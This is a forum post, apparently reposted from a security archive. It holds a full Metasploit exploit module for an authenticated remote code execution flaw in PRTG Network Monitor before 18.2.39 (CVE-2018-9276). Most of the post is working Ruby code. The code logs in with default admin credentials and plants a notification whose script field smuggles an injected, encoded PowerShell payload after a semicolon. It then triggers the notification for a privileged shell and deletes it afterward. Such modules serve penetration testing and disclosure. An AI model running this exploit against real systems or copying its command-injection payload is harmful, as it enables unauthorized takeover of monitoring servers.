PRTG Network Monitor Remote Code Execution

#185
Topic created · 1 Posts · 1 Views
  • This Metasploit module exploits an authenticated remote code execution vulnerability in PRTG Network Monitor. Notifications can be created by an authenticated user and can execute scripts when triggered. Due to a poorly validated input on the script name, it is possible to chain it with a user-supplied command allowing command execution under the context of privileged user. The module uses provided credentials to log in to the web interface, then creates and triggers a malicious notification to perform remote code execution using a Powershell payload. It may require a few tries to get a shell because notifications are queued up on the server. This vulnerability affects versions prior to 18.2.39.
    MD5 | 60bd8795d3c06d9bcbf5158034587215
    Download

    ##  
    # This module requires Metasploit: https://metasploit.com/download  
    # Current source: https://github.com/rapid7/metasploit-framework  
    ##  
    require 'msf/core/exploit/powershell'  
    class MetasploitModule < Msf::Exploit::Remote  
    Rank = ExcellentRanking  
    include Msf::Exploit::Remote::HttpClient  
    include Msf::Exploit::Powershell  
    def initialize(info = {})  
    super(update_info(info,  
    'Name'           => "PRTG Network Monitor Authenticated RCE",  
    'Description'    => %q{  
    Notifications can be created by an authenticated user and can execute scripts when triggered.  
    Due to a poorly validated input on the script name, it is possible to chain it with a user-supplied command allowing command execution under the context of privileged user.  
    The module uses provided credentials to log in to the web interface, then creates and triggers a malicious notification to perform RCE using a Powershell payload.  
    It may require a few tries to get a shell because notifications are queued up on the server.  
    This vulnerability affects versions prior to 18.2.39. See references for more details about the vulnerability allowing RCE.  
    },  
    'License'        => MSF_LICENSE,  
    'Author'         =>  
    [  
    'Josh Berry <josh.berry[at]codewatch.org>', # original discovery  
    'Julien Bedel <contact[at]julienbedel.com>', # module writer  
    ],  
    'References'     =>  
    [  
    ['CVE', '2018-9276'],  
    ['URL', 'https://www.codewatch.org/blog/?p=453']  
    ],  
    'Platform'       => 'win',  
    'Arch'           => [ ARCH_X86, ARCH_X64 ],  
    'Targets'        =>  
    [  
    ['Automatic Targeting', { 'auto' => true }]  
    ],  
    'DefaultTarget'  => 0,  
    'DefaultOptions' => {  
    'WfsDelay' => 30 # because notification triggers are queuded up on the server  
    },  
    'DisclosureDate' => '2018-06-25'))  
    register_options(  
    [  
    OptString.new('ADMIN_USERNAME', [true, 'The username to authenticate as', 'prtgadmin']),  
    OptString.new('ADMIN_PASSWORD', [true, 'The password for the specified username', 'prtgadmin'])  
    ]  
    )  
    end  
    def prtg_connect  
    begin  
    res = send_request_cgi({  
    'method'   => 'POST',  
    'uri'      => normalize_uri(datastore['URI'], 'public', 'checklogin.htm'),  
    'vars_post' => {  
    'loginurl' => '',  
    'username' => datastore['ADMIN_USERNAME'],  
    'password' => datastore['ADMIN_PASSWORD']  
    }  
    })  
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
    fail_with(Failure::Unreachable, 'Failed to reach remote host')  
    ensure  
    disconnect  
    end  
    if res && res.code == 302 && res.headers['LOCATION'] == '/home' && res.get_cookies  
    @cookies = res.get_cookies.to_s  
    print_good('Successfully logged in with provided credentials')  
    vprint_status("Session cookies : #{@cookies}")  
    else  
    fail_with(Failure::NoAccess, 'Failed to authenticate to the web interface')  
    end  
    end  
    def prtg_create_notification(cmd)  
    uri = datastore['URI']  
    begin  
    res = send_request_cgi({  
    'method'   => 'POST',  
    'uri'      => normalize_uri(uri, 'editsettings'),  
    'cookie'   => @cookies,  
    'headers'  => {  
    'X-Requested-With' => 'XMLHttpRequest'  
    },  
    'vars_post' => {  
    'name_' => Rex::Text.rand_text_alphanumeric(4..24),  
    'active_' => '1',  
    'schedule_' => '-1|None|',  
    'postpone_' => '1',  
    'summode_' => '2',  
    'summarysubject_' => '[%sitename] %summarycount Summarized Notifications',  
    'summinutes_' => '1',  
    'accessrights_' => '1',  
    'accessrights_201' => '0',  
    'active_1' => '0',  
    'addressuserid_1' => '-1',  
    'addressgroupid_1' => '-1',  
    'subject_1' => '[%sitename] %device %name %status %down (%message)',  
    'contenttype_1' => 'text/html',  
    'priority_1' => '0',  
    'active_17' => '0',  
    'addressuserid_17' => '-1',  
    'addressgroupid_17' => '-1',  
    'message_17' => '[%sitename] %device %name %status %down (%message)',  
    'active_8' => '0',  
    'addressuserid_8' => '-1',  
    'addressgroupid_8' => '-1',  
    'message_8' => '[%sitename] %device %name %status %down (%message)',  
    'active_2' => '0',  
    'eventlogfile_2' => 'application',  
    'sender_2' => 'PRTG Network Monitor',  
    'eventtype_2' => 'error',  
    'message_2' => '[%sitename] %device %name %status %down (%message)',  
    'active_13' => '0',  
    'syslogport_13' => '514',  
    'syslogfacility_13' => '1',  
    'syslogencoding_13' => '1',  
    'message_13' => '[%sitename] %device %name %status %down (%message)',  
    'active_14' => '0',  
    'snmpport_14' => '162',  
    'snmptrapspec_14' => '0',  
    'messageid_14' => '0',  
    'message_14' => '[%sitename] %device %name %status %down (%message)',  
    'active_9' => '0',  
    'urlsniselect_9' => '0',  
    'active_10' => '10',  
    'address_10' => 'Demo EXE Notification - OutFile.ps1',  
    'message_10' => "abcd; #{cmd}",  
    'timeout_10' => '60',  
    'active_15' => '0',  
    'message_15' => '[%sitename] %device %name %status %down (%message)',  
    'active_16' => '0',  
    'isusergroup_16' => '1',  
    'addressgroupid_16' => '200|PRTG Administrators',  
    'ticketuserid_16' => '100|PRTG System Administrator',  
    'subject_16' => '%device %name %status %down (%message)',  
    'message_16' => 'Sensor: %name\r\nStatus: %status %down\r\n\r\nDate/Time: %datetime (%timezone)\r\nLast Result: %lastvalue\r\nLast Message: %message\r\n\r\nProbe: %probe\r\nGroup: %group\r\nDevice: %device (%host)\r\n\r\nLast Scan: %lastcheck\r\nLast Up: %lastup\r\nLast Down: %lastdown\r\nUptime: %uptime\r\nDowntime: %downtime\r\nCumulated since: %cumsince\r\nLocation: %location\r\n\r\n',  
    'autoclose_16' => '1',  
    'objecttype' => 'notification',  
    'id' => 'new',  
    'targeturl' => '/myaccount.htm?tabid=2'  
    }  
    })  
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
    fail_with(Failure::Unreachable, 'Failed to reach remote host')  
    ensure  
    disconnect  
    end  
    if res && res.code == 200 && res.get_json_document['objid'] && !res.get_json_document['objid'].empty?  
    @objid = res.get_json_document['objid']  
    print_good("Created malicious notification (objid=#{@objid})")  
    vprint_status("Payload : #{cmd}")  
    else  
    fail_with(Failure::Unknown, 'Failed to create malicious notification')  
    end  
    end  
    def prtg_trigger_notification  
    uri = datastore['URI']  
    begin  
    res = send_request_cgi({  
    'method'   => 'POST',  
    'uri'      => normalize_uri(uri, 'api', 'notificationtest.htm'),  
    'cookie'   => @cookies,  
    'headers'  => {  
    'X-Requested-With' => 'XMLHttpRequest'  
    },  
    'vars_post' => {  
    'id' => @objid  
    }  
    })  
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
    fail_with(Failure::Unreachable, 'Failed to reach remote host')  
    ensure  
    disconnect  
    end  
    if res && res.code == 200 && (res.to_s.include? 'EXE notification is queued up')  
    print_good('Triggered malicious notification')  
    else  
    fail_with(Failure::Unknown, 'Failed to trigger malicious notification')  
    end  
    end  
    def prtg_delete_notification  
    uri = datastore['URI']  
    begin  
    res = send_request_cgi({  
    'method'   => 'POST',  
    'uri'      => normalize_uri(uri, 'api', 'deleteobject.htm'),  
    'cookie'   => @cookies,  
    'headers'  => {  
    'X-Requested-With' => 'XMLHttpRequest'  
    },  
    'vars_post' => {  
    'id' => @objid,  
    'approve' => '1'  
    }  
    })  
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
    fail_with(Failure::Unreachable, 'Failed to reach remote host')  
    ensure  
    disconnect  
    end  
    if res  
    print_good('Deleted malicious notification')  
    else  
    fail_with(Failure::Unknown, 'Failed to delete malicious notification')  
    end  
    end  
    def check  
    begin  
    res = send_request_cgi({  
    'method'   => 'GET',  
    'uri'      => normalize_uri(datastore['URI'], '/index.htm')  
    })  
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
    return CheckCode::Unknown  
    ensure  
    disconnect  
    end  
    if res && res.code == 200  
    # checks for PRTG version in http headers first, if not found looks for it in html  
    version_match = /\d{1,2}\.\d{1}\.\d{1,2}\.\d*/  
    prtg_server_header = res.headers['Server']  
    if prtg_server_header && prtg_server_header =~ version_match  
    prtg_version = prtg_server_header[version_match]  
    else  
    html = res.get_html_document  
    prtg_version_html = html.at('span[@class="prtgversion"]')  
    if prtg_version_html && prtg_version_html.text =~ version_match  
    prtg_version = prtg_version_html.text[version_match]  
    end  
    end  
    if prtg_version  
    vprint_status("Identified PRTG Network Monitor Version #{prtg_version}")  
    if Gem::Version.new(prtg_version) < Gem::Version.new('18.2.39')  
    return CheckCode::Appears  
    else  
    return CheckCode::Safe  
    end  
    elsif (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')  
    return CheckCode::Detected  
    end  
    end  
    return CheckCode::Unknown  
    end  
    def exploit  
    powershell_options = {  
    #method: 'direct',  
    remove_comspec: true,  
    wrap_double_quotes: true,  
    encode_final_payload: true  
    }  
    ps_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)  
    prtg_connect  
    prtg_create_notification(ps_payload)  
    prtg_trigger_notification  
    prtg_delete_notification  
    print_status("Waiting for payload execution.. (#{datastore['WfsDelay']} sec. max)")  
    end  
    end  
    

    Source: packetstormsecurity.com

Log in to reply